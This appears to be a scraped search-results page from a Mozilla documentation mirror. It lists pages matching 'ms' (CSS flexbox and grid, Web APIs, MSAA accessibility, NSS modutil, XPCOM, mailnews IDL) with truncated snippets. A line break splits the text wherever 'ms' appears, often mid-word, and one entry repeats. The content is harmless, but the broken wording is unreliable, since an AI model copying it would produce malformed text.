defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long ns
msgjunkstatus; typedef unsigned long ns
msgjunkscore; ...
nsMsgKey
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long ns
msgkey; ...
nsMsgLabelValue
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef unsigned long ns
msglabelvalue; ...
nsMsgPriorityValue
defined in comm-central/ mailnews/ base/ public/ mailnewstypes2.idl typedef long ns
msgpriorityvalue; [scriptable, uuid(94c0d8d8-2045-11d3-8a8f-0060b0fc04d2)] interface ns
msgpriority { const ns
msgpriorityvalue notset = 0; const ns
msgpriorityvalue none = 1; const ns
msgpriorityvalue lowest = 2; const ns
msgpriorityvalue low = 3; const ns
msgpriorityvalue normal = 4; const ns
msgpriorityvalue high = 5; const ns
msgpriorityvalue highest = 6; // the default for a priority picker const ns
msgpriorityvalue default = 4; }; ...
nsMsgRuleActionType
defined in comm-central/ mailnews/ base/ search/ public/ ns
msgfiltercore.idl typedef long ns
msgruleactiontype; [scriptable, uuid(59af7696-1e28-4642-a400-fa327ae0b8d8)] interface ns
msgfilteraction { /* if you change these, you need to update filter.properties, look for filteractionx */ /* these longs are all actually of type ns
msgfilteractiontype */ const long custom=-1; /* see ns
msgfilteraction */ const long none=0; /* uninitialized state */ const long movetofolder=1; const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=1...
Index - Web APIs
this is able to abort fetch requests, consumption of any response body, and strea
ms.
... 42 aescbcpara
ms api, aescbcpara
ms, dictionary, reference, web crypto api the aescbcpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-cbc algorithm.
... 43 aesctrpara
ms api, aesctrpara
ms, dictionary, reference, web crypto api the aesctrpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-ctr algorithm.
...And 644 more matches
Index - Archive of obsolete content
found 3833 pages: # page tags and summary 1 archive of obsolete content archive, landing here at mdn, we try to avoid outright deleting content that might be useful to people targeting legacy platfor
ms, operating syste
ms, and browsers.
... 44 context-menu add-on sdk, add-ons, extensions, firefox, sdk adds ite
ms, submenus, and menu separators to the page's context menu.
... 87 io/byte-strea
ms provides strea
ms for reading and writing bytes.
...And 195 more matches
MathML Torture Test
xits</option> </select> <br/> </p> <table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityripple.com/samples/45/d5a0dbbca3.png" width="38" height="22" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <
msup> <mi>x</mi> <mn>2</mn> </
msup> <
msup> <mi>y</mi> <mn>2</mn> </
msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td><img src="https://udn.realityripple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <!-- ...
... <mrow> <
msub><mi></mi><mn>2</mn></
msub> <
msub><mi>f</mi><mn>3</mn></
msub> </mrow> --> <mrow> <mmultiscripts> <mi>f</mi> <mn>3</mn><none/> <mprescripts/> <mn>2</mn><none/> </mmultiscripts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityripple.com/samples/8a/1d0e6e073c.png" width="58" height="47" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <mfrac> <mrow> <mi>x</mi> <mo>+</mo> <
msup> <mi>y</mi> <mn>2</mn> </
msup> </mrow> <mrow> ...
...<mi>k</mi> <mo>+</mo> <mn>1</mn> </mrow> </mfrac> </mrow> </math> </td></tr> <tr> <td>4</td> <td><img src="https://udn.realityripple.com/samples/a7/27acbeabcf.png" width="76" height="25" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <mi>x</mi> <mo>+</mo> <
msup> <mi>y</mi> <mfrac> <mn>2</mn> <mrow> <mi>k</mi> <mo>+</mo> <mn>1</mn> </mrow> </mfrac> </
msup> </mrow> </math> </td></tr> <tr> <td>5</td> <td><img src="https://udn.realityripple.com/samples/d2/921226dd85.png" width="30" height="42" al...
...And 97 more matches
Index
2 accessing the windows registry using xpcom add-ons, code snippets, extensions, needsclassification, windows registry when implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed progra
ms.
... 27 components.results xpcom:language bindings, xpconnect components.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.
msg (also at table of errors), with the value of each corresponding to that constant's value.
...while xpcom components written in a scripting language (such as javascript) can be moved across platfor
ms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when moving to a different platform.
...And 91 more matches
Index - Learn web development
this set of articles ai
ms to provide complete beginners to web development with all that they need to start coding websites.
... 7 html: a good basis for accessibility at, accessibility, article, beginner, buttons, codingscripting, for
ms, html, learn, links, a11y, assistive technology, keyboard, screenreader, semantics you should now be well-versed in writing accessible html for most occasions.
...yes, it see
ms obvious, but too many projects fail not from a lack of technical know-how, but from lack of goals and vision.
...And 71 more matches
Index
2 an overview of nss internals api, intermediate, intro, nss, tools a high-level overview to the internals of network security services (nss) software developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorith
ms, originally called netscape security services, nowadays called network security services (nss).
...in order to support multiple operating syste
ms (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
... in order to allow interoperability between software and devices that perform cryptographic operations, nss confor
ms to a standard called pkcs#11.
...And 69 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
the flexible box module, usually referred to as flexbox, was designed as a one-dimensional layout model, and as a method that could offer space distribution between ite
ms in an interface and powerful alignment capabilities.
... the two axes of flexbox when working with flexbox you need to think in ter
ms of two axes — the main axis and the cross axis.
... understanding which axis is which is important when we start to look at aligning and justifying flex ite
ms; flexbox features properties that align and justify content along one axis or the other.
...And 61 more matches
HTML documentation index - HTML: Hypertext Markup Language
19 inputmode attribute, editing, for
ms, global attributes, html, input, reference, text, web, contenteditable, global, inputmode, text input the inputmode global attribute is an enumerated attribute that hints at the type of data that might be entered by the user while editing the element or its contents.
...each name-value pair is called a property, and a group of one or more properties for
ms an item.
... 23 itemref attribute, global attribute, html, html microdata, microdata, reference properties that are not descendants of an element with the ite
mscope attribute can be associated with an item using the global attribute itemref.
...And 52 more matches
Mail composition back end
pizzarro <rhp@netscape.com> contents overview sending messages nsi
msgsend sending listener interfaces nsi
msgsendlistener nsi
msgcopyservicelistener copy operations copy to sent folder drafts templates "send later" sending unsent messages sending unsent messages listener quoting sample progra
ms overview i've done considerable work in the past few weeks reorganizing the mail composition back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them.
...the interface that accomplishes this task is the nsi
msgsend interface.
... the feedback mechanism is provided by a nsi
msgsendlistener which is implemented by the caller.
...And 47 more matches
Flexbox - Learn web development
previous overview: css layout next flexbox is a one-dimensional layout method for laying out ite
ms in rows or columns.
... ite
ms flex to fill additional space and shrink to fit into smaller spaces.
...in this case we want to lay out the <article> elements, so we set this on the <section>: section { display: flex; } this causes the <section> element to become a flex container, and its children to become flex ite
ms.
...And 37 more matches
listbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used to create a list of ite
ms where one or more of the ite
ms may be selected.
...there are numerous methods which allow the ite
ms in the listbox to be retrieved and modified.
... attributes disabled, disablekeynavigation, preference, rows, seltype, suppressonselect, tabindex, value properties accessibletype, currentindex, currentitem, disabled, disablekeynavigation, itemcount, listboxobject, selectedcount, selectedindex, selecteditem, selectedite
ms, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearselection, ensureelementisvisible, ensureindexisvisible, getindexoffirstvisiblerow, getindexofitem, getitematindex, getnumberofvisiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitemfro
mselection, scrolltoindex, selectall, selectitem, selectitemran...
...And 35 more matches
richlistbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used to create a list of listite
ms (richlistite
ms), similar to a listbox, but is designed to be used when the ite
ms do not contain simple text content.
... attributes disabled, disablekeynavigation, preference, seltype, suppressonselect, tabindex, value properties accessibletype, currentindex, currentitem, disabled, disablekeynavigation, itemcount, scrollboxobject, selectedcount, selectedindex, selecteditem, selectedite
ms, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearselection, ensureelementisvisible, ensureindexisvisible, getindexoffirstvisiblerow, getindexofitem, getitematindex, getnumberofvisiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitemfro
mselection, scrolltoindex, selectall, selectitem, selectitemran...
...ge, timedselect, toggleite
mselection examples <richlistbox> <richlistitem> <description>a xul description!</description> </richlistitem> <richlistitem> <button label="a xul button"/> </richlistitem> </richlistbox> the richlistbox element contains multiple richlistitem elements, which can contain any content.
...And 33 more matches
Gecko info for Windows accessibility vendors
the base of our support for these products is
msaa (microsoft active accessibility), external readonly dom support, and the keyboard api/user interface.
... microsoft active accessibility (
msaa) an api devised by microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it.
... if you seriously need to understand
msaa, you'll need to read the docs on
msdn and play with the sample apps and code that come with
msaa sdk 1.3.
...And 32 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
in addition to the ability to place ite
ms accurately onto a created grid, the css grid layout specification contains rules that control what happens when you create a grid and do not place some or all of the child ite
ms.
... you can see auto-placement in action in the simplest of ways by creating a grid on a set of ite
ms.
... if you give the ite
ms no placement information they will position the
mselves on the grid, one in each grid cell.
...And 32 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
i have five child ite
ms in my container, and i have given the flex properties values so that they can grow and shrink from a flex-basis of 150 pixels.
... i have also set the flex-wrap property to wrap, so that if the space in the container becomes too narrow to maintain the flex basis, ite
ms will wrap onto a new row.
...rapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { width: 500px; display: flex; flex-wrap: wrap; } .wrapper > div { flex: 1 1 150px; } in the image, you can see that two ite
ms have wrapped onto a new line.
...And 31 more matches
Menu - Archive of obsolete content
jetpack.menu(menuite
ms) creates a menu with the given ite
ms.
... parameters menuite
ms an array of menuite
ms.
...the ite
ms property may be used to define an array of menuite
ms.
...And 30 more matches
Localization and Plurals
if you're here to make your code (e.g., extensions) localizable for plural for
ms, you can jump straight to developing with pluralform.
... usage here are a couple ter
ms used in this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word.
... plural form: for a particular plural rule, there can be multiple for
ms of a word, such as "page" and "pages".
...And 30 more matches
Enhanced Extension Installation - Archive of obsolete content
it forces its ite
ms to be located in different places on the user's disk - some vendors wish to keep all of their installed content within c:\program files\foo\ for example.
... there is no clean uninstall procedure, as the -install-global-extension flag was designed only as a means to install ite
ms for all user profiles, not as a means for third party installers to register their components.
...this can lead to incompatibilities, mysterious crashes and other proble
ms.
...And 29 more matches
Parser API
this makes it easier to write tools in javascript that manipulate javascript source progra
ms, such as syntax highlighters, static analyses, translators, compilers, obfuscators, etc.
... character of the parsed source region) and an end position (the position of the first character after the parsed source region): interface sourcelocation { source: string | null; start: position; end: position; } each position object consists of a line number (1-indexed) and a column number (0-indexed): interface position { line: uint32 >= 1; column: uint32 >= 0; } progra
ms interface program <: node { type: "program"; body: [ statement ]; } a complete program source tree.
... functions interface function <: node { id: identifier | null; para
ms: [ pattern ]; defaults: [ expression ]; rest: identifier | null; body: blockstatement | expression; generator: boolean; expression: boolean; } a function declaration or expression.
...And 29 more matches
NSS tools : modutil
use this option with the -libfile, -ciphers, and -mechanis
ms arguments.
... -default modulename specify the security mechanis
ms for which the named module will be a default provider.
... the security mechanis
ms are specified with the -mechanis
ms argument.
...And 28 more matches
NSS tools : modutil
use this option with the -libfile, -ciphers, and -mechanis
ms arguments.
... -default modulename specify the security mechanis
ms for which the named module will be a default provider.
... the security mechanis
ms are specified with the -mechanis
ms argument.
...And 28 more matches
Index - Archive of obsolete content
3 a xul bestiary add-ons, extensions, needstechnicalreview, xul this xulnote presents some of the key concepts and ter
ms in the xul development environment.
... the purpose of this article is not to describe these ite
ms in any great detail but to define what they are in simple ter
ms.
... i selected ite
ms for this group because they seemed to be either shrouded in mystery, misused as concepts or ter
ms, or underestimated according to their role in xul and cross-platform development.
...And 27 more matches
places/bookmarks - Archive of obsolete content
usage this module exports: three constructors: bookmark, group, and separator, corresponding to the types of objects, referred to as bookmark ite
ms, in the bookmarks database in firefox two additional functions, save() to create, update, and remove bookmark ite
ms, and search() to retrieve the bookmark ite
ms that match a particular set of criteria.
...) { // on a "data" event, an item has been updated, passing in the // latest snapshot from the server as `saved` (with properties // such as `updated` and `id`), as well as the initial input // item as `inputitem` console.log(saved.title === inputitem.title); // true console.log(saved !== inputitem); // true console.log(inputitem === bookmark); // true }).on("end", function (savedite
ms, inputite
ms) { // similar to "data" events, except "end" is an aggregate of // all progress events, with ordered arrays as `savedite
ms` // and `inputite
ms` }); creating several bookmarks with a new group let { bookmark, group, save } = require("sdk/places/bookmarks"); let group = group({ title: "guitars" }); let bookmarks = [ bookmark({ title: "ran", url: "http://ranguitars.com", group...
... save(bookmarks).on("data", function (saved, input) { // a data event is called once for each item saved, as well // as implicit ite
ms, like `group` console.log(input === group || ~bookmarks.indexof(input)); // true }).on("end", function (saves, inputs) { // like the previous example, the "end" event returns an // array of all of our updated saves.
...And 26 more matches
Choosing the right approach - Learn web development
2000) pitfalls you can use recursive settimeout() calls to run a function repeatedly in a similar fashion to setinterval(), using code like this: let i = 1; settimeout(function run() { console.log(i); i++; settimeout(run, 100); }, 100); there is a difference between recursive settimeout() and setinterval(): recursive settimeout() guarantees at least the specified amount of time (100
ms in this example) will elapse between the executions; the code will run and then wait 100 milliseconds before it runs again.
... browser compatibility desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsettimeoutchrome full support 30edge full support 12firefox full support 1 full support 1 full support 52notes notes setinterval now defined on windoworworkergloba...
... full support 4 full support 4 full support 52notes notes setinterval now defined on windoworworkerglobalscope mixin.opera android full support 10.1safari ios full support 1sa
msung internet android full support 3.0supports parameters for callbackchrome full support yesedge full support 12firefox full support yesie full support 10opera ...
...And 25 more matches
nsIDOMXULElement
66 introduced gecko 1.0 inherits from: nsidomelement last changed in gecko 1.9 (firefox 3) method overview void blur(); void click(); void docommand(); void focus(); nsidomnodelist getelementsbyattribute(in do
mstring name, in do
mstring value); nsidomnodelist getelementsbyattributens(in do
mstring namespaceuri, in do
mstring name, in do
mstring value); attributes attribute type description align do
mstring gets/sets the value of the element's align attribute.
... classname do
mstring gets/sets the value of the element's class attribute.
... contextmenu do
mstring gets/sets the value of the element's contextmenu attribute.
...And 25 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
in a perfect world of browser support, the reason you'd choose to use flexbox is because you want to lay a collection of ite
ms out in one direction or another.
... as you lay out your ite
ms you want to control the dimensions of the ite
ms in that one dimension, or control the spacing between ite
ms.
... navigation a common pattern for navigation is to have a list of ite
ms displayed as a horizontal bar.
...And 25 more matches
context-menu - Archive of obsolete content
adds ite
ms, submenus, and menu separators to the page's context menu.
... usage instead of manually adding ite
ms when particular contexts occur and then removing them when those contexts go away, you bind ite
ms to contexts, and the adding and removing is automatically handled for you.
... ite
ms are bound to contexts in much the same way that event listeners are bound to events.
...And 24 more matches
Implementation Status - Archive of obsolete content
mozilla xfor
ms is not actively maintained any more since about 2010!
... limitations and extensions the extension has some limitations and custom extension to the xfor
ms 1.1 specification.
... these can be found on the mozilla xfor
ms specials page.
...And 24 more matches
Using Objective-C from js-ctypes
it perfor
ms the following through this objective-c syntax: get the nsspeechsynthesizer class definition.
...this message can be sent using the objc_
msgsend function, and its variants, which are declared in /usr/include/objc/message.h.
... objc_
msgsend function, receives the instance which receives the message, the selector, and variable argument list for the message, returning the returned value from the method.
...And 24 more matches
nsIMessenger
method overview void setdisplaycharset(in acstring acharset); void setwindow(in nsidomwindow ptr, in nsi
msgwindow
msgwindow); void openurl(in acstring aurl); void loadurl(in nsidomwindow ptr, in acstring aurl); void launchexternalurl(in acstring aurl); boolean canundo(); boolean canredo(); unsigned long getundotransactiontype(); unsigned long getredotransactiontype(); void undo(in nsi
msgwindow
msgwindow); void redo(in nsi...
...
msgwindow
msgwindow); void sendunsentmessages(in nsi
msgidentity aidentity, in nsi
msgwindow a
msgwindow); void setdocumentcharset(in acstring characterset); void saveas(in acstring auri, in boolean aasfile, in nsi
msgidentity aidentity, in astring a
msgfilename); void openattachment(in acstring contenttpe, in acstring url, in acstring displayname, in acstring messageuri, in boolean isexternalattachment); void saveattachment(in acstring contenttpe, in acstring url, in acstring displayname, in acstring messageuri, in boolean isexternalattachment); void saveallattachments(in unsigned long count, [array, size_is(count)] in string contenttypearray, [array, size_is(count)] in string urlarray, [array, size_is(count)] in string displaynamearray, [arr...
...enttypearray, [array, size_is(count)] in string urlarray, [array, size_is(count)] in string displaynamearray, [array, size_is(count)] in string messageuriarray, in boolean savefirst, [optional] in boolean withoutwarning); nsilocalfile saveattachmenttofolder(in acstring contenttype, in acstring url, in acstring displayname, in acstring messageuri, in nsilocalfile adestfolder); nsi
msgmessageservice messageservicefromuri(in acstring auri); nsi
msgdbhdr
msghdrfromuri(in acstring auri); acstring get
msguriatnavigatepos(in long apos); acstring getfolderuriatnavigatepos(in long apos); void getnavigatehistory(out unsigned long acurpos, out unsigned long acount, [array, size_is(acount)] out string ahistory); note: prior to gecko 8.0, all ref...
...And 23 more matches
WebIDL bindings
webidl type argument type return type dictionary/member type any js::handle<js::value> js::mutablehandle<js::value> js::value boolean bool bool bool byte int8_t int8_t int8_t bytestring const nsacstring& nscstring& (outparam) nsacstring& (outparam) nscstring date mozilla::dom::date do
mstring const nsastring& mozilla::dom::do
mstring& (outparam) nsastring& (outparam) nsstring& (outparam) nsstring utf8string const nsacstring& nsacstring& (outparam) nscstring double double double double float float float float interface: non-nullable foo& already_addrefed<foo> foo* owningnonnull<foo> ...
... short int16_t int16_t int16_t unrestricted double double double double unrestricted float float float float unsigned long uint32_t uint32_t uint32_t unsigned long long uint64_t uint64_t uint64_t unsigned short uint16_t uint16_t uint16_t usvstring const nsastring& mozilla::dom::do
mstring& (outparam) nsastring& (outparam) nsstring& (outparam) nsstring any any is represented in three different ways, depending on use: any arguments become js::handle<js::value>.
...arg); }; will correspond to these c++ function declarations: float myattr(); void setmyattr(float value); double mymethod(const nullable<double>& arg); do
mstring strings are reflected in three different ways, depending on use: string arguments become const nsastring&.
...And 22 more matches
Selection API - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetselection experimentalchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the globaleventhandlers.onselectionchange and globaleventhandlers.onselectstart event hand...
... full support 4notes full support 4notes notes the globaleventhandlers.onselectionchange and globaleventhandlers.onselectstart event handlers are supported as of firefox 52.opera android full support 10.1safari ios full support 1sa
msung internet android full support 1.0addrange experimentalchrome full support 1edge full support 12firefox full support yesie ?
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yesanchornode experimentalchrome full support 1edge full support 12firefox full support yesie ?
...And 22 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout implements the specification box alignment level 3 which is the same standard flexbox uses for aligning ite
ms in its flex container.
... we are able to align the content inside grid areas, and the grid tracks the
mselves on these two axes.
... aligning ite
ms on the block axis the align-self and align-ite
ms properties control alignment on the block axis.
...And 22 more matches
Mozilla accessibility architecture
mozilla supports two accessibility apis: microsoft active accessibility (
msaa) on windows and accessibility tool kit (atk) on linux and unix.
...please note, the documentation for implementing an
msaa server has moved.
... you may also wish to read gecko info for windows accessibility vendors, a primer for vendors of 3rd party accessibility software, on how
msaa clients can utilize gecko's support.
...And 21 more matches
NSS Tools modutil
use this option with the -libfile, -ciphers, and -mechanis
ms arguments.
... -default modulename specify the security mechanis
ms for which the named module will be a default provider.
... the security mechanis
ms are specified with the -mechanis
ms mechanism-list argument.
...And 21 more matches
IDBObjectStore - Web APIs
mber has been // submitted via the window.indexeddb.open line above dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data ite
ms the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
...duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { note.innerhtml += '<li>request successful .</li>'; } specifications specification status ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidbobjectstorechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
...And 21 more matches
MathML attribute reference - MathML
notes: the mathml <
mstyle> and <math> elements accept all attributes of all mathml presentation elements.
... align <mtable> <munder>, <mover>, <munderover> <
mstack> specifies different alignments of several elements (see element pages for details).
... unimplemented charalign <
mstack> specifies the horizontal alignment of digits.
...And 21 more matches
Server-side web frameworks - Learn web development
handling these all in one function would be hard to maintain, so web frameworks provide simple mechanis
ms to map url patterns to specific handler functions.
... this approach also has benefits in ter
ms of maintenance, because you can change the url used to deliver a particular feature without having to change the underlying code.
... different frameworks use different mechanis
ms for the mapping.
...And 20 more matches
Accessible Toolkit Checklist
also, assistive technologies already understand native widgets so it is only necessary to implement microsoft active accessibility (
msaa) api support for custom controls.
...these toolkits need to have accessibility implemented from the ground up, and get nothing for free in ter
ms of keyboard, api or os-theme support.
... in this case, adding a complete or even a partial accessibility solution is major work, and will require more than one full time person as well as cooperation from windows assistive technology vendors when parts of your
msaa solution isn't working.
...And 20 more matches
Index
15 jsapi cookbook spidermonkey this article shows the jsapi equivalent for a tiny handful of common javascript idio
ms.
...in ter
ms of function execution, the object is treated as this.
... 53 js::newfunctionfro
mspec jsapi reference, reference, référence(2), spidermonkey js::newfunctionfro
mspec creates a new function based on the given jsfunctionspec, *fs.
...And 20 more matches
XPCOM Stream Guide
what are strea
ms?
...strea
ms simply provide a way to read or write data to some object.
... in basic c++ programming for a console application, we usually talk about strea
ms to access files, or to interact with the user.
...And 20 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
item placement you can place ite
ms into a precise location on the grid using line numbers, names or by targeting an area of the grid.
... grid also contains an algorithm to control the placement of ite
ms not given an explicit position on the grid.
... alignment control grid contains alignment features so we can control how the ite
ms align once placed into a grid area, and how the entire grid is aligned.
...And 20 more matches
justify-content - CSS: Cascading Style Sheets
the css justify-content property defines how the browser distributes space between and around content ite
ms along the main-axis of a flex container, and the inline axis of a grid container.
... syntax /* positional alignment */ justify-content: center; /* pack ite
ms around the center */ justify-content: start; /* pack ite
ms from the start */ justify-content: end; /* pack ite
ms from the end */ justify-content: flex-start; /* pack flex ite
ms from the start */ justify-content: flex-end; /* pack flex ite
ms from the end */ justify-content: left; /* pack ite
ms from the left */ justify-content: right; /* pack ite
ms from the right */ /* bas...
...eline alignment */ /* justify-content does not take baseline values */ /* normal alignment */ justify-content: normal; /* distributed alignment */ justify-content: space-between; /* distribute ite
ms evenly the first item is flush with the start, the last is flush with the end */ justify-content: space-around; /* distribute ite
ms evenly ite
ms have a half-size space on either end */ justify-content: space-evenly; /* distribute ite
ms evenly ite
ms have equal space around them */ justify-content: stretch; /* distribute ite
ms evenly stretch 'auto'-sized ite
ms to fit ...
...And 20 more matches
JavaScript modules - JavaScript
a background on modules javascript progra
ms started off pretty small — most of its usage in the early days was to do isolated scripting tasks, providing a bit of interactivity to your web pages where needed, so large scripts were generally not needed.
... it has therefore made sense in recent years to start thinking about providing mechanis
ms for splitting javascript progra
ms up into separate modules that can be imported when needed.
... node.js has had this ability for a long time, and there are a number of javascript libraries and frameworks that enable module usage (for example, other commonjs and amd-based module syste
ms like requirejs, and more recently webpack and babel).
...And 20 more matches
CSS - Archive of obsolete content
it only works on mac os x.-
ms-acceleratorthe -
ms-accelerator css property is a microsoft extension that sets or retrieves a string indicating whether the object represents a keyboard shortcut.-
ms-block-progressionthe -
ms-block-progression css property is a microsoft extension that specifies the block progression and layout orientation.-
ms-content-zoom-chainingthe -
ms-content-zoom-chaining css property is a microsoft extension...
... specifying the zoom behavior that occurs when a user hits the zoom limit during page manipulation.-
ms-content-zoom-limitthe -
ms-content-zoom-limit css shorthand property is a microsoft extension that specifies values for the -
ms-content-zoom-limit-min and -
ms-content-zoom-limit-max properties.-
ms-content-zoom-limit-maxthe -
ms-content-zoom-limit-max css property is a microsoft extension that specifies the selected elements' maximum zoom factor.-
ms-content-zoom-limit-minthe -
ms-content-zoom-limit-min css property is a microsoft extension that specifies the minimum zoom factor.-
ms-content-zoom-snapthe -
ms-content-zoom-snap css shorthand property is a microsoft extension that specifies values for the -
ms-content-zoom-snap-type and -
ms-content-zoom-snap-points properties.-
ms-content-zoom-snap-po...
...intsthe -
ms-content-zoom-snap-points css property is a microsoft extension that specifies where zoom snap-points are located.-
ms-content-zoom-snap-typethe -
ms-content-zoom-snap-type css property is a microsoft extension that specifies how zooming is affected by defined snap-points.-
ms-content-zoomingthe -
ms-content-zooming css property is a microsoft extension that specifies whether zooming is enabled.-
ms-filterthe -
ms-filter css property is a microsoft extension that sets or retrieves the filter or collection of filters applied to an object.-
ms-flow-fromthe -
ms-flow-from css property is a microsoft extension that gets or sets a value identifying a region container in the document that accepts the content flow from the data source.-
ms-flow-intothe -
ms-flow-into css property is a microsoft ex...
...And 19 more matches
Permissions - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpermissionschrome full support 43edge full support 79firefox full support 46ie no support noopera full support yessafari no support ...
... nowebview android full support 43chrome android full support 43firefox android full support 46opera android full support yessafari ios no support nosa
msung internet android full support 4.0accelerometer permissionchrome full support 62edge full support 79firefox ?
... safari ios no support nosa
msung internet android full support 8.0accessibility-events permissionchrome full support 62edge full support 79firefox ?
...And 19 more matches
URLUtilsReadOnly - Web APIs
urlutilsreadonly.href read only is a do
mstring containing the whole url.
... urlutilsreadonly.protocol read only is a do
mstring containing the protocol scheme of the url, including the final ':'.
... urlutilsreadonly.host read only is a do
mstring containing the host, that is the hostname, a ':', and the port of the url.
...And 19 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
choose the method you find most helpful for the proble
ms that you are solving and the designs that you need to implement.
...we go to a two column layout, and then to a three column layout by redefining the grid, and the placement of ite
ms on the grid.</p> </article> <aside class="side">sidebar</aside> <div class="ad">advertising</div> <footer class="main-footer">the footer</footer> </div> as we are using grid-template-areas to create the layout.
... .main-head { grid-area: header; } .content { grid-area: content; } .main-nav { grid-area: nav; } .side { grid-area: sidebar; } .ad { grid-area: ad; } .main-footer { grid-area: footer; } this will not create any layout, however our ite
ms now have names we can use to do so.
...And 19 more matches
align-content - CSS: Cascading Style Sheets
the css align-content property sets the distribution of space between and around content ite
ms along a flexbox's cross-axis or a grid's block axis.
... syntax /* basic positional alignment */ /* align-content does not take left and right values */ align-content: center; /* pack ite
ms around the center */ align-content: start; /* pack ite
ms from the start */ align-content: end; /* pack ite
ms from the end */ align-content: flex-start; /* pack flex ite
ms from the start */ align-content: flex-end; /* pack flex ite
ms from the end */ /* normal alignment */ align-content: normal; /* baseline alignment */ align-content: baseline; align-content: first baseline; align-c...
...ontent: last baseline; /* distributed alignment */ align-content: space-between; /* distribute ite
ms evenly the first item is flush with the start, the last is flush with the end */ align-content: space-around; /* distribute ite
ms evenly ite
ms have a half-size space on either end */ align-content: space-evenly; /* distribute ite
ms evenly ite
ms have equal space around them */ align-content: stretch; /* distribute ite
ms evenly stretch 'auto'-sized ite
ms to fit the container */ /* overflow alignment */ align-content: safe center; align-content: unsafe center...
...And 19 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
certificates and authentication managing certificates certificates and authentication a certificate identifies someone or something authentication confir
ms an identity how certificates are used contents of a certificate how ca certificates are used to establish trust a certificate identifies someone or something a certificate is an electronic document used to identify an individual, a server, a company, or some other entity and to associate that identity with a public key.
...to get a student id, you apply to a school or college, which perfor
ms different checks (such as whether you have paid your tuition) before issuing the id.
... certificates work much the same way as any of these familiar for
ms of identification.
...And 18 more matches
IDBDatabase - Web APIs
><rect x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbdatabase</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties idbdatabase.name read only a do
mstring that contains the name of the connected database.
